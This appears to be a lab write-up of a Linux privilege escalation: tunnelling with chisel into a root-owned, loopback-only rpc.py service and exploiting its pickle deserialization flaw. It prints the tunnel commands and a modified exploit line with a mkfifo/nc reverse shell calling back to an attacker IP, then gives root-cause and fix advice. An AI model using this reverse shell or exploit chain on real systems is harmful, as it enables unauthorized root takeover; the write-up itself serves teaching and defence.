Binding a service to 127.0.0.1 is a common way to say “this only needs to be reachable from the box itself.” It’s a reasonable assumption right up until an attacker already has a shell on that box — at which point “unreachable from outside” and “unreachable at all” stop meaning the same thing. This lab needed a tunnel, a process listing, and a Python deserialization bug to turn that assumption into root.
The Setup
After an initial foothold, I ran LinPEAS as part of standard enumeration and it flagged something worth a second look: a service bound only to loopback.
netstat -tlnp

tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 1045/ttyd
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:65432 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
127.0.0.1:65432 — no process name shown (I didn’t have permission to see the owning PID yet), but bound strictly to loopback. Something on this box only trusts connections that appear to originate from itself. From my current shell, I actually am the box, so this was worth pivoting into directly.
Enumeration — Pivoting Into the Loopback Service
I didn’t have a way to reach 127.0.0.1:65432 from my attacking machine without routing through the compromised host first, so I set up a reverse tunnel using chisel — running the server on my Kali box and the client on the target, with a reverse port forward exposing the target’s loopback port back to me.
On my attacking machine:
chisel server --reverse --port 9000

On the target:
./chisel client 192.168.45.236:9000 R:65432:127.0.0.1:65432

client: Connecting to ws://192.168.45.236:9000
client: Connected (Latency 251.642351ms)
With that tunnel up, 127.0.0.1:65432 on the target was now reachable as 127.0.0.1:65432 on my own machine too. The service’s “internal only” assumption no longer held.
Before poking at the service itself, I checked what was actually running it:
ps -aux | grep root

root 1044 0.1 1.2 32208 24688 ? S 18:41 0:06 python3 /opt/rpc.py
/opt/rpc.py, running as root, on the exact port LinPEAS had flagged. A quick search turned up a known vulnerability: rpc.py 0.6.0 — Remote Code Execution, tied to how the service deserializes incoming request data.
Why This Works
rpc.py is a lightweight Python RPC framework that, in the vulnerable version, uses pickle to deserialize objects sent over the wire. pickle is Python’s native object serialization format, and its documentation is explicit about the danger here: unpickling data is equivalent to arbitrary code execution, because the pickle protocol can encode instructions to construct arbitrary objects — including calling arbitrary callables with attacker-controlled arguments, such as os.system or subprocess.Popen.
A well-behaved RPC service should never deserialize untrusted input with pickle (or yaml.load without SafeLoader, or PHP’s unserialize() on similarly unsanitized data — the same class of bug shows up across languages). The mere act of loading the object graph runs code, well before any application-level validation of “is this a legitimate RPC call” ever gets a chance to execute.
Because the service ran as root and only trusted loopback connections — an assumption that quietly broke the moment I had any code execution on the box at all — tunneling in and sending a malicious pickle payload was equivalent to handing myself a root shell directly.
Exploitation
The public exploit for this rpc.py version builds a malicious pickle payload and sends it to the service, which happily deserializes and executes it. I took the existing PoC and swapped its default command for a reverse shell pipe so the payload would call back to me instead of just proving code execution:
def main():
#exec_command('curl http://127.0.0.1:4321')
exec_command('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.236 443 >/tmp/f')

The payload builds a named pipe, wires it up to sh -i, and pipes both directions of the shell through nc back to my listener — a standard reverse shell pattern, just delivered through the deserialization bug instead of a normal command injection.
With a listener up and the exploit script pointed at the tunneled 127.0.0.1:65432, I ran it:
nc -lnvp 443

connect to [192.168.45.236] from (UNKNOWN) [192.168.152.210] 41114
# id
uid=0(root) gid=0(root) groups=0(root)
Root, straight off a service that was supposedly only reachable by itself.
Root Cause
Two independent mistakes stacked to make this exploitable: the service deserialized untrusted input using pickle, and it was run as root under the assumption that binding to loopback made it inherently safe. Neither assumption held once an attacker had any foothold on the host — loopback-only binding stops the outside world, not a local pivot.
Fix:
# Never use pickle for data that crosses a trust boundary.
# Use a safe, schema-constrained format instead:
import json
data = json.loads(untrusted_bytes) # no arbitrary object construction, no code execution
# If the RPC service must run with elevated privileges, drop them
# immediately after binding, and run as a dedicated low-privilege
# service account instead of root.
And regardless of the serialization format: “bound to 127.0.0.1” is not a security boundary against an attacker who already has any code execution on the host. Treat internal-only services with the same input validation rigor you’d apply to anything internet-facing.
Key Takeaways
- A service bound to
127.0.0.1is only safe from remote attackers — once you have any shell on the box, loopback services are fully in scope, and tools likechiselmake reaching them from your own machine trivial - Always check what’s actually listening on unusual internal ports before assuming a bound-to-loopback service is a dead end
pickle.loads()(and its equivalents in other languages) on attacker-influenced data is functionally equivalent to remote code execution — there’s no safe way to sanitize untrusted pickle input, it has to not be used at all- Modifying a public PoC to redirect its default payload to a reverse shell is often the fastest path from “confirmed RCE” to an interactive root shell
- Running a vulnerable service as root turns any deserialization bug in it into an instant, full-privilege compromise
Questions? Hit me up on X.